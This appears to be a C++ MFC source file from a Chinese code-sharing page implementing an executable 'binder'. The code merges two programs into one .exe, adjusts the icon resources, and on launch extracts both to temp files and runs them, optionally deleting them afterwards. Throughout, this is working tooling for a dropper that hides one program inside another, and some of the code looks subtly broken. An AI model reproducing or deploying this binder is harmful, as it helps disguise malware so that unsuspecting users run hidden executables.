?? bindfiledlg.cpp
字號:
pResDir[n].BytesInRes = 0;
}
break;
}
}
}
k = pDirHeader->ResCount;
pDirHeader->ResCount = 0; // 重新置圖標數為0
for (n = 0; n < k; n++)
{
if (pResDir[n].BytesInRes != 0)
{
if (pDirHeader->ResCount != n)
{
memcpy(&pResDir[pDirHeader->ResCount], &pResDir[n], sizeof(pResDir[n]));
}
pDirHeader->ResCount++;
}
}
#ifdef DEBUG_PRINT
fprintf(stderr, "共: %d 個圖標, \n", pDirHeader->ResCount);
for (n = 0; n < pDirHeader->ResCount; n++)
{
fprintf(stderr, "\t序號(id)=%d[%d 字節] %d寬x%d高x%d顏色數\n",
pResDir[n].IconCursorId, pResDir[n].BytesInRes,
pResDir[n].Icon.Width, pResDir[n].Icon.Height, pResDir[n].Icon.ColorCount);
}
#endif DEBUG_PRINT
memcpy(buf+i, pDirHeader, nDataLen); // 清除目錄中未發現的圖標
}
//創建分解文件后,運行各分解文件時的進程
void CBindFileDlg::Create_Process(const char* temp_exe, BOOL async)
{
HANDLE hProcess;
HANDLE hThread;
PROCESS_INFORMATION PI;
STARTUPINFO SI;
memset(&SI, 0, sizeof(SI));
SI.cb = sizeof(SI);
CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI);
/* --- 暫不用,否則需要保存原始綁定的文件名稱
//如果分解后的文件不是執行文件的話,則直接打開它
if(!CreateProcess(temp_exe, NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &SI, &PI))
HINSTANCE result =ShellExecute(NULL, _T("open"), temp_exe, NULL,NULL, SW_SHOW);
--- */
hProcess = PI.hProcess;
hThread = PI.hThread;
//異步執行時,執行后不刪除分解后的文件;同步執行時,執行后刪除分解后的文件
if (!async) //同步執行
{
WaitForSingleObject(hProcess, INFINITE);
unlink(temp_exe);
}
}
//分解已合并的文件,同時運行它們
void CBindFileDlg::Unbind_and_Run()
{
FILE* myself; //自身文件
FILE* out; //分解后文件
int bytesin;
int totalbytes = 0;
char temp_exe1[] = "temp1.exe"; //分解后的綁定文件名一
char temp_exe2[] = "temp2.exe"; //分解后的綁定文件名二
int SyncFlag; //文件最終執行標志
buf = (BYTE*)malloc(modify_data.my_length);
myself = fopen(my_name, "rb"); //打開最終合成文件
if (myself == NULL)
{
free(buf);
MessageBox("分離文件中,打開自身文件時出錯!","錯誤");
return;
}
out = fopen(temp_exe1, "wb"); //創建第一個綁定的文件
if (out == NULL)
{
free(buf);
MessageBox("分離文件中,創建第一個被綁定文件時出錯!","錯誤");
return;
}
//將文件指針定位到捆綁器程序長度尾部
fseek(myself, modify_data.my_length, SEEK_SET);
//讀取第一個綁定文件的長度
if (fread(&prog1_length, sizeof(prog1_length), 1, myself) == 0)
{
free(buf);
MessageBox("分離文件中,讀取第一個被綁定文件長度時出錯!","錯誤");
return;
}
//讀取最終文件執行方式(同步或異步執行)
if (fread(&SyncFlag, sizeof(int), 1, myself) == 0)
{
free(buf);
MessageBox("分離文件中,讀取第一個被綁定文件長度時出錯!","錯誤");
return;
}
//讀取第一個文件內容并寫入
while (bytesin = fread(buf, 1, sizeof(buf), myself))
{
if (totalbytes + bytesin > prog1_length)
bytesin = prog1_length - totalbytes;
totalbytes += fwrite(buf, 1, bytesin, out);
}
fclose(out); //關閉第一個綁定文件句柄
#ifdef DEBUG_PRINT
fprintf(stderr, "已復制 %d 字節!\n", totalbytes);
#endif DEBUG_PRINT
totalbytes = 0;
out = fopen(temp_exe2, "wb"); //創建第二個綁定的文件
if (out == NULL)
{
free(buf);
MessageBox("分離文件中,創建第二個被綁定文件時出錯!","錯誤");
return;
}
//將文件指針定位到最終合成文件中的第二個綁定文件頭部, 偏移量 ==
//(捆綁器自身文件長度+保存第一個綁定文件長度所占字節數+保存最終文件執行標志所占字節數+第一個綁定文件長度)
fseek(myself, modify_data.my_length + sizeof(modify_data.my_length) + sizeof(int) + prog1_length, SEEK_SET);
//讀取第二個綁定文件內容并寫入
while (bytesin = fread(buf, 1, sizeof(buf), myself))
{
totalbytes += fwrite(buf, 1, bytesin, out);
}
fclose(out); //關閉第二個綁定文件句柄
#ifdef DEBUG_PRINT
fprintf(stderr, "已復制 %d 字節\n", totalbytes);
#endif DEBUG_PRINT
fclose(myself); //關閉最終合成文件句柄
if (totalbytes == 0)
{
free(buf);
MessageBox("分離文件中,在自身文件中沒有被分離的對象!","錯誤");
return;
}
free(buf); //釋放緩沖區
if(!SyncFlag) //0 -- 同步執行,1 -- 異步執行
{
//置為分解后,為同步執行方式
Create_Process(temp_exe1, false);
Create_Process(temp_exe2, false);
}
else
{
//置為分解后,為異步執行方式
Create_Process(temp_exe1, true);
Create_Process(temp_exe2, true);
}
}
//綁定多個文件為一個合成文件
bool CBindFileDlg::Bind_Files()
{
FILE* myself; //自身文件
FILE* out; //最終合成文件
FILE* in; //待綁定文件
int bytesin;
int totalbytes = 0;
struct _stat ST;
unsigned int finder = 0x12345678;
unsigned int i, k;
int l=1; //狀態顯示
char buff[20]; //狀態顯示
his_name = strFirstFilePath; //第一個綁定的文件名
_stat(my_name, &ST);
modify_data.my_length = ST.st_size;
if (modify_data.my_length == 0)
{
MessageBox("綁定文件中,自身文件長度為零時出錯!","錯誤");
return false;
}
buf = (BYTE *)malloc(modify_data.my_length);
if (buf == NULL)
{
MessageBox("綁定文件中,分配自身文件長度時出錯!","錯誤");
return false;
}
myself = fopen(my_name, "rb"); //打開自身文件
if (myself == NULL)
{
free(buf);
MessageBox("綁定文件中,打開自身文件時出錯!","錯誤");
return false;
}
bytesin = fread(buf, 1, modify_data.my_length, myself);
fclose(myself);
if (bytesin != modify_data.my_length)
{
free(buf);
MessageBox("綁定文件中,不能完全讀取自身文件內容時出錯!","錯誤");
return false;
}
for (i = 0; i < modify_data.my_length - sizeof(finder); i += sizeof(finder))
{
for (k = 0; k < sizeof(finder); k++)
{
if (buf[i+k] != ((BYTE*)&finder)[k])
break;
}
if (k == sizeof(finder)) //定位并保存自身數據文件大小
{
memcpy(buf+ i, &modify_data, sizeof(modify_data));
break;
}
}
if (i >= modify_data.my_length - sizeof(finder))
{
free(buf);
MessageBox("綁定文件中,不能定位自身文件時出錯!","錯誤");
return false;
}
if (_stat(strFirstFilePath, &ST) != 0 || ST.st_size == 0)
{
free(buf);
MessageBox("綁定文件中,讀取第一個要綁定文件時出錯!","錯誤");
return false;
}
list_my_icons();
out = fopen(strFinalFilePath, "wb"); //創建最終合成文件
if (out == NULL)
{
free(buf);
MessageBox("綁定文件中,創建綁定后生成的合成文件時出錯!","錯誤");
return false;
}
totalbytes += fwrite(buf, 1, bytesin, out);
in = fopen(strFirstFilePath, "rb"); //打開第一個要綁定的文件
if (in == NULL)
{
free(buf);
MessageBox("綁定文件中,打開第一個要綁定文件時出錯!","錯誤");
return false;
}
//寫入第一個要綁定文件的長度到合成文件中
totalbytes += fwrite(&ST.st_size, 1, sizeof(ST.st_size), out);
//寫入最終分解后文件執行方式的標志位(同步或異步執行)
UpdateData(TRUE); //傳控件值到變量m_Sync中
totalbytes += fwrite(&m_Sync, 1, sizeof(int), out);
while (bytesin = fread(buf, 1, modify_data.my_length, in))
{
totalbytes += fwrite(buf, 1, bytesin, out);
}
fclose(in); //關閉第一個綁定文件句柄
//設置進度條顯示
m_Progress.SetRange(0,500);
for (int m = 0; m < 500; m++)
m_Progress.SetPos(m);
m_Parts = _ltoa(l, buff, 10);
m_Parts += _T("個文件已綁定");
UpdateData(FALSE);
l++;
in = fopen(strSecondFilePath, "rb"); //打開第二個要綁定的文件
if (in == NULL)
{
free(buf);
MessageBox("綁定文件中,打開第二個要綁定文件時出錯!","錯誤");
return false;
}
while (bytesin = fread(buf, 1, modify_data.my_length, in))
{
totalbytes += fwrite(buf, 1, bytesin, out);
}
//設置進度條顯示
m_Progress.SetRange(0,500);
for (int n = 0; n < 500; n++)
m_Progress.SetPos(n);
m_Parts = _ltoa(l, buff, 10);
m_Parts += _T("個文件已綁定");
UpdateData(FALSE);
l++;
fclose(in); //關閉第二個綁定文件句柄
fclose(out); //關閉最終合成文件句柄
free(buf); //釋放緩沖區
return true;
}
//打開“關于”對話框
void CBindFileDlg::OnButtonAbout()
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
//選取第一個要綁定的文件
void CBindFileDlg::OnFirstBrowse()
{
CFileDialog fileDialog(TRUE,NULL,NULL,NULL,"可執行文件(*.exe)|*.exe|所有文件(*.*)|*.*||");
if (fileDialog.DoModal() == IDOK)
{
strFirstFilePath = fileDialog.GetPathName(); //保存第一個綁定文件名
m_strFirstPath = strFirstFilePath;
UpdateData(FALSE);
}
}
//選取第二個要綁定的文件
void CBindFileDlg::OnSecondBrowse()
{
CFileDialog fileDialog(TRUE,NULL,NULL,NULL,"可執行文件(*.exe)|*.exe|所有文件(*.*)|*.*||");
if (fileDialog.DoModal() == IDOK)
{
strSecondFilePath = fileDialog.GetPathName(); //保存第二個綁定文件名
m_strSecondPath = strSecondFilePath;
UpdateData(FALSE);
}
}
//選擇綁定后生成的合成文件名
void CBindFileDlg::OnFinalBrowse()
{
CFileDialog fileDialog( FALSE,"*.exe",NULL,NULL,"可執行文件(*.exe)|*.exe||");
if (fileDialog.DoModal() == IDOK)
{
strFinalFilePath = fileDialog.GetPathName(); //保存第終合成的文件名
m_strFinalPath = strFinalFilePath;
UpdateData(FALSE);
}
}
BOOL CAboutDlg::OnInitDialog()
{
CDialog::OnInitDialog();
//設置“關于”對話框的位圖按鈕顯示
m_AboutOK.LoadBitmaps(IDB_BITMAP1,5, 5, 5, 5, 4 );
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
//進行綁定文件操作
void CBindFileDlg::OnButtonBindFile()
{
if(strFirstFilePath=="" || strSecondFilePath=="" ||strFinalFilePath=="")
{
MessageBox("請先選擇要進行綁定的文件和最終合成的目標文件名!","提示",MB_ICONINFORMATION);
return;
}
if(Bind_Files()) //綁定文件
MessageBox("文件捆綁成功!","提示",MB_ICONINFORMATION);
}
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -